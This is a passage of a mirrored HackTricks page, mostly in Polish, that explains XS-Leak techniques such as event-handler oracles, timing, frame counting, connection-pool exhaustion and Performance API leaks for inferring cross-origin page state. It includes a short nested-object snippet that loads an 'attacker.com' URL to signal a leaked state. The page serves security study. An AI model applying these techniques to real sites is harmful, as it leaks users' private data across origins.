mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
915 lines
82 KiB
Markdown
915 lines
82 KiB
Markdown
# XS-Search/XS-Leaks
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Podstawowe informacje
|
|
|
|
XS-Search to metoda używana do **ekstrakcji informacji z różnych źródeł** poprzez wykorzystanie **wrażliwości kanałów bocznych**.
|
|
|
|
Kluczowe komponenty zaangażowane w ten atak to:
|
|
|
|
- **Wrażliwa strona internetowa**: Docelowa strona, z której zamierzamy wyodrębnić informacje.
|
|
- **Strona internetowa atakującego**: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
|
|
- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony Internetowej do Strony Internetowej Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
|
|
- **Technika wycieku**: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony Internetowej na podstawie informacji zebranych za pomocą metody włączenia.
|
|
- **Stany**: Dwa potencjalne warunki Wrażliwej Strony Internetowej, które atakujący stara się rozróżnić.
|
|
- **Wykrywalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony Internetowej.
|
|
|
|
### Wykrywalne różnice
|
|
|
|
Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Internetowej:
|
|
|
|
- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** z różnych źródeł, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji.
|
|
- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona z innego źródła korzysta z konkretnego JavaScript Web API.
|
|
- **Przekierowania**: Wykrywanie nawigacji do różnych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
|
|
- **Zawartość strony**: Obserwowanie **różnic w treści odpowiedzi HTTP** lub w podzasobach strony, takich jak **liczba osadzonych ramek** lub różnice w rozmiarze obrazów.
|
|
- **Nagłówek HTTP**: Zauważenie obecności lub ewentualnie wartości **konkretnego nagłówka odpowiedzi HTTP**, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
|
|
- **Czas**: Zauważenie stałych różnic czasowych między dwoma stanami.
|
|
|
|
### Metody włączenia
|
|
|
|
- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów z różnych źródeł**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
|
- **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkami**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
|
|
- **Pop-upy**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Pop-upy, często używane w jednolitym logowaniu, omijają ograniczenia ramkowe i ciasteczkowe zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie pop-upów do określonych działań użytkownika.
|
|
- **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybierając, czy podążać za przekierowaniami HTTP.
|
|
|
|
### Techniki wycieku
|
|
|
|
- **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługi zdarzeń takie jak **onload** i **onerror** dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów.
|
|
- **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku, zarówno bezpośrednio z komunikatu o błędzie, jak i poprzez rozróżnienie między jego obecnością a brakiem.
|
|
- **Globalne ograniczenia**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone ograniczenia przeglądarki, mogą sygnalizować, kiedy osiągnięto próg, służąc jako technika wycieku.
|
|
- **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek o stronach z różnych źródeł.
|
|
- **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski o żądanych zasobach.
|
|
- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne z różnych źródeł** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej z różnych źródeł.
|
|
|
|
## Narzędzie XSinator i dokument
|
|
|
|
XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks** opisanych w jego dokumencie: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
|
|
|
Możesz **uzyskać dostęp do narzędzia pod adresem** [**https://xsinator.com/**](https://xsinator.com/)
|
|
|
|
> [!WARNING]
|
|
> **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy czasowe XS-Leaks, ponieważ często cierpią na wolność, hałas i niedokładność.
|
|
|
|
## **Techniki oparte na czasie**
|
|
|
|
Niektóre z poniższych technik będą wykorzystywać czas jako część procesu wykrywania różnic w możliwych stanach stron internetowych. Istnieją różne sposoby mierzenia czasu w przeglądarce internetowej.
|
|
|
|
**Zegary**: API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) pozwala programistom uzyskać pomiary czasu o wysokiej rozdzielczości.\
|
|
Istnieje znaczna liczba API, które atakujący mogą nadużywać do tworzenia niejawnych zegarów: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animacje CSS i inne.\
|
|
Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
|
|
|
|
## Techniki obsługi zdarzeń
|
|
|
|
### Onload/Onerror
|
|
|
|
- **Metody włączenia**: Ramki, elementy HTML
|
|
- **Wykrywalna różnica**: Kod statusu
|
|
- **Więcej informacji**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
|
- **Podsumowanie**: jeśli próbuje się załadować zasób, zdarzenia onerror/onload są wywoływane, gdy zasób jest ładowany pomyślnie/niepomyślnie, możliwe jest ustalenie kodu statusu.
|
|
- **Przykład kodu**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
|
|
|
{{#ref}}
|
|
xs-search/cookie-bomb-+-onerror-xs-leak.md
|
|
{{#endref}}
|
|
|
|
Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, audio mogą być również używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS).
|
|
|
|
Istnieje również wersja tego ataku bez skryptów:
|
|
```html
|
|
<object data="//example.com/404">
|
|
<object data="//attacker.com/?error"></object>
|
|
</object>
|
|
```
|
|
W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana zostanie strona `attacker.com/?error`.
|
|
|
|
### Czas ładowania
|
|
|
|
- **Metody włączenia**: Elementy HTML
|
|
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
|
- **Podsumowanie:** API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **może być używane do mierzenia, ile czasu zajmuje wykonanie żądania.** Jednak inne zegary mogą być używane, takie jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) inny przykład w:
|
|
|
|
{{#ref}}
|
|
xs-search/performance.now-example.md
|
|
{{#endref}}
|
|
|
|
#### Czas ładowania + Wymuszone ciężkie zadanie
|
|
|
|
Ta technika jest podobna do poprzedniej, ale **atakujący** również **wymusi** pewną akcję, aby zajęła **odpowiednią ilość czasu**, gdy **odpowiedź jest pozytywna lub negatywna** i zmierzy ten czas.
|
|
|
|
{{#ref}}
|
|
xs-search/performance.now-+-force-heavy-task.md
|
|
{{#endref}}
|
|
|
|
### Czas unload/beforeunload
|
|
|
|
- **Metody włączenia**: Ramki
|
|
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
- **Podsumowanie:** Zegar [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do mierzenia, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
|
|
Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasu między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**.
|
|
|
|
### Czas ramki w trybie piaskownicy + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
|
|
|
- **Metody włączenia**: Ramki
|
|
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
|
|
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
|
- **Podsumowanie:** API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być używane do mierzenia, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
|
|
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
|
|
|
Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. To pomiar jest zazwyczaj możliwy, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScriptu. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w `<iframe>`. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScriptu, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.
|
|
```javascript
|
|
// Example of an iframe with the sandbox attribute
|
|
<iframe src="example.html" sandbox></iframe>
|
|
```
|
|
### #ID + error + onload
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**:
|
|
- **Summary**: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu.
|
|
- **Code Example**:
|
|
|
|
Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w obrębie Iframe**.
|
|
|
|
Możesz **sprawić, że ofiara wyszuka** plik, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hash** w URL.
|
|
|
|
Na przykład:
|
|
|
|
1. **URL1**: www.attacker.com/xssearch#try1
|
|
2. **URL2**: www.attacker.com/xssearch#try2
|
|
|
|
Jeśli pierwszy URL został **pomyślnie załadowany**, to, gdy **zmienisz** część **hash** URL, **zdarzenie onload** **nie zostanie wywołane** ponownie. Ale **jeśli** strona miała jakiś rodzaj **błędu** podczas **ładowania**, to **zdarzenie onload** zostanie **wywołane ponownie**.
|
|
|
|
Wtedy możesz **rozróżnić** między **poprawnie** załadowaną stroną a stroną, która ma **błąd** podczas dostępu.
|
|
|
|
### Javascript Execution
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**:
|
|
- **Summary:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, która może być **kontrolowana** przez użytkownika. Użytkownik może ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdą próbę wewnątrz **`<script>`** tagów, więc w **negatywnych** przypadkach kod **atakującego** jest **wykonywany**, a w **pozytywnych** przypadkach **nic** nie zostanie wykonane.
|
|
- **Code Example:**
|
|
|
|
{{#ref}}
|
|
xs-search/javascript-execution-xs-leak.md
|
|
{{#endref}}
|
|
|
|
### CORB - Onerror
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Status Code & Headers
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
|
- **Summary**: **Cross-Origin Read Blocking (CORB)** to środek bezpieczeństwa, który zapobiega ładowaniu przez strony internetowe niektórych wrażliwych zasobów z innych źródeł, aby chronić przed atakami takimi jak **Spectre**. Jednak atakujący mogą wykorzystać jego ochronne zachowanie. Gdy odpowiedź podlegająca **CORB** zwraca _**chroniony przez CORB**_ `Content-Type` z `nosniff` i kodem statusu `2xx`, **CORB** usuwa treść i nagłówki odpowiedzi. Atakujący, obserwując to, mogą wywnioskować kombinację **kodu statusu** (wskazującego na sukces lub błąd) i `Content-Type` (oznaczającego, czy jest chroniony przez **CORB**), co prowadzi do potencjalnego wycieku informacji.
|
|
- **Code Example:**
|
|
|
|
Sprawdź link z dodatkowymi informacjami, aby uzyskać więcej informacji na temat ataku.
|
|
|
|
### onblur
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
|
- **Summary**: Wycieki wrażliwych danych z atrybutu id lub name.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
|
|
|
Możliwe jest **załadowanie strony** wewnątrz **iframe** i użycie **`#id_value`**, aby skupić stronę na elemencie iframe z wskazanym id, a następnie, jeśli zostanie wywołany sygnał **`onblur`**, element ID istnieje.\
|
|
Możesz przeprowadzić ten sam atak z tagami **`portal`**.
|
|
|
|
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
|
- **Summary**: Zbieraj wrażliwe informacje z postMessage lub użyj obecności postMessages jako orakula, aby poznać status użytkownika na stronie
|
|
- **Code Example**: `Any code listening for all postMessages.`
|
|
|
|
Aplikacje często wykorzystują [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest prawidłowo określony, co pozwala każdemu oknu na odbieranie wiadomości. Ponadto sam akt odbierania wiadomości może działać jako **orakulum**; na przykład, niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.
|
|
|
|
## Global Limits Techniques
|
|
|
|
### WebSocket API
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
|
- **Summary**: Wyczerpanie limitu połączeń WebSocket ujawnia liczbę połączeń WebSocket strony z innego źródła.
|
|
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
|
|
|
Możliwe jest zidentyfikowanie, czy i ile **połączeń WebSocket używa strona docelowa**. Pozwala to atakującemu na wykrycie stanów aplikacji i wyciek informacji związanych z liczbą połączeń WebSocket.
|
|
|
|
Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń WebSocket**, niezależnie od stanu ich połączeń, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w oknie pop-up lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. **Liczba zgłoszonych wyjątków** to **liczba połączeń WebSocket używanych przez okno strony docelowej**.
|
|
|
|
### Payment API
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
|
- **Summary**: Wykryj żądanie płatności, ponieważ tylko jedno może być aktywne w danym czasie.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
|
|
|
Ten XS-Leak umożliwia atakującemu **wykrycie, kiedy strona z innego źródła inicjuje żądanie płatności**.
|
|
|
|
Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasie, jeśli strona docelowa korzysta z API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują **wyjątek JavaScript**. Atakujący może to wykorzystać, **okresowo próbując wyświetlić interfejs API płatności**. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie z niego korzysta. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.
|
|
|
|
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
|
|
|
- **Inclusion Methods**:
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
|
- **Summary:** Mierz czas wykonania strony, wykorzystując jednowątkową pętlę zdarzeń JS.
|
|
- **Code Example**:
|
|
|
|
{{#ref}}
|
|
xs-search/event-loop-blocking-+-lazy-images.md
|
|
{{#endref}}
|
|
|
|
JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie w danym czasie**. Ta cecha może być wykorzystana do oszacowania **jak długo kod z innego źródła zajmuje wykonanie**. Atakujący może zmierzyć czas wykonania swojego kodu w pętli zdarzeń, ciągle wysyłając zdarzenia z ustalonymi właściwościami. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań**. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.
|
|
|
|
> [!WARNING]
|
|
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
|
|
|
|
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
|
|
|
- **Inclusion Methods**:
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
|
- **Summary:** Jedną z metod pomiaru czasu wykonania operacji webowej jest celowe blokowanie pętli zdarzeń w wątku, a następnie mierzenie **jak długo trwa, zanim pętla zdarzeń stanie się znowu dostępna**. Wstawiając operację blokującą (taką jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń w czasie blokady. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, gdzie zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
|
|
- **Code Example**:
|
|
|
|
Znaczną zaletą techniki pomiaru czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji Stron**. **Izolacja Stron** to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych stron do wrażliwych danych z innych stron. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, omijając w ten sposób bariery ochronne ustanowione przez **Izolację Stron**.
|
|
|
|
> [!WARNING]
|
|
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
|
|
|
|
### Connection Pool
|
|
|
|
- **Inclusion Methods**: JavaScript Requests
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
- **Summary:** Atakujący mógłby zablokować wszystkie gniazda oprócz 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas do momentu, gdy ostatnia strona zaczyna się ładować, to czas, jaki zajęło załadowanie strony docelowej.
|
|
- **Code Example**:
|
|
|
|
{{#ref}}
|
|
xs-search/connection-pool-example.md
|
|
{{#endref}}
|
|
|
|
Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale z powodu ograniczonych zasobów systemu operacyjnego i sprzętu, **przeglądarki są zmuszone narzucać limit** na liczbę równoczesnych gniazd. Atakujący mogą wykorzystać to ograniczenie poprzez następujące kroki:
|
|
|
|
1. Ustalić limit gniazd przeglądarki, na przykład 256 globalnych gniazd.
|
|
2. Zajmować 255 gniazd przez dłuższy czas, inicjując 255 żądań do różnych hostów, zaprojektowanych tak, aby utrzymać połączenia otwarte bez ich zakończenia.
|
|
3. Wykorzystać 256. gniazdo do wysłania żądania do strony docelowej.
|
|
4. Spróbować 257. żądania do innego hosta. Ponieważ wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie będzie oczekiwać, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieciowej związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 są nadal zajęte, co sugeruje, że każde nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje, aby 256. gniazdo stało się dostępne, jest zatem bezpośrednio związany z czasem potrzebnym na zakończenie żądania do strony docelowej.
|
|
|
|
Dla więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
|
|
### Connection Pool by Destination
|
|
|
|
- **Inclusion Methods**: JavaScript Requests
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**:
|
|
- **Summary:** To jak poprzednia technika, ale zamiast używać wszystkich gniazd, Google **Chrome** nakłada limit **6 równoczesnych żądań do tego samego źródła**. Jeśli **zablokujemy 5** i następnie **uruchomimy 6.** żądanie, możemy **zmierzyć** czas, a jeśli udało nam się sprawić, że **strona ofiary wysłała** więcej **żądań** do tego samego punktu końcowego, aby wykryć **status** **strony**, **6. żądanie** zajmie **więcej czasu** i możemy to wykryć.
|
|
|
|
## Performance API Techniques
|
|
|
|
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) oferuje wgląd w metryki wydajności aplikacji webowych, dodatkowo wzbogacony przez [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. Warto zauważyć, że gdy serwery dołączają nagłówek `Timing-Allow-Origin: *` do swoich odpowiedzi, dodatkowe dane, takie jak rozmiar transferu i czas wyszukiwania domeny, stają się dostępne.
|
|
|
|
Te bogate dane można uzyskać za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), co zapewnia kompleksowy widok informacji związanych z wydajnością. Dodatkowo, API umożliwia pomiar czasów wykonania, obliczając różnicę między znacznikami czasowymi uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpłynąć na dokładność pomiarów czasowych.
|
|
|
|
Poza pomiarami czasowymi, Performance API można wykorzystać do uzyskania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. Konkretnie, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co stanowi subtelny wskazówkę na temat polityki ramkowania strony.
|
|
|
|
### Error Leak
|
|
|
|
- **Inclusion Methods**: Frames, HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Żądanie, które kończy się błędami, nie utworzy wpisu czasowego zasobów.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
|
|
|
Możliwe jest **rozróżnienie między kodami statusu odpowiedzi HTTP**, ponieważ żądania, które prowadzą do **błędu**, **nie tworzą wpisu wydajności**.
|
|
|
|
### Style Reload Error
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Status Code
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
|
- **Summary:** Z powodu błędu przeglądarki, żądania, które kończą się błędami, są ładowane dwukrotnie.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
|
|
|
W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC prowadzą do **ładowania zasobów dwukrotnie, gdy nie udaje się ich załadować**. To spowoduje wiele wpisów w API wydajności i może być zatem wykryte.
|
|
|
|
### Request Merging Error
|
